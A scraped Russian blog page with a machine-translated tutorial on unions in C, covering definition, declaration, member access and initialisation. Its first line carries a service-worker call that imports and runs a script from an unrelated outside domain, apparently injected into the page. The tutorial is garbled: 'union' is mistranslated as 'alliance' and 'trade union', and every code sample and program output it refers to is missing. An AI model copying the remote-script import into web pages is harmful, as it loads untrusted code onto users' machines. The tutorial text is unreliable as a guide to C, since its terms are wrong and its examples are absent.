google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Union



Союз в С

Union - это определенный пользователем тип данных, который содержит переменные разных типов данных. Или мы можем сказать, что объединение - это набор элементов или данных разного типа. Понятие объединения взято из структуры, поэтому синтаксис объединения такой же, как структура. Союз может быть определен с помощью ключевого слова «союз», как показано ниже.

Союз в С

Определяющий Союз

Синтаксис


пример


В структуре каждый член получает отдельную память для хранения, в то время как в объединении все члены совместно используют одно и то же место хранения. Поскольку все участники совместно используют одно и то же хранилище, мы можем одновременно работать только с одним участником. Компилятор выделяет общий объем памяти, равный члену, имеющему наибольший размер. В приведенном выше примере метка имеет наибольший размер 4 байта, поэтому общая память, выделенная для переменной студенческого типа объединения, будет 4 байта. 

Объявление переменных Союза

Мы можем объявить переменную объединения так же, как и для структуры. Например, если мы хотим объявить переменные для указанного выше объединения, это можно сделать следующим образом.
Переменная также может быть объявлена ​​во время определения объединения, просто записав имя переменной между закрывающими скобками и точкой с запятой.

Доступ к членам Союза

Мы можем получить доступ к члену профсоюза, используя оператор точки (.). Помните, что доступ только к той переменной, значение которой хранится в данный момент. Рассмотрим пример ниже.
Приведенный выше код даст ошибочный вывод. Это потому, что мы недавно отметили значение в маркере и получаем доступ к rollno. Когда значение присваивается члену, то значение, которое было присвоено любому другому члену до того, как оно теряется.

Инициализация союза

Объединение может быть инициализировано во время объявления переменных. Но только первый элемент может быть инициализирован, а все остальные элементы могут быть инициализированы позже путем назначения значения или чтения значения с клавиатуры. Рассмотрим пример ниже.
В приведенном выше примере первое утверждение является правильным, в то время как второе утверждение даст нежелательный результат, потому что мы инициализируем метку второго члена (тип с плавающей запятой) студента union.
Давайте сделаем одну простую программу в соответствии с концепцией объединения в C.

Выход
Союз в С
Пояснение
Вышеуказанная программа говорит сама за себя, но если у вас возникли какие-либо проблемы, прокомментируйте ниже.
Это все о union in C. Если вы обнаружите какую-либо ошибку или что-то упущенное в вышеприведенном уроке, пожалуйста, укажите это в комментариях.

Комментариев нет:

Отправить комментарий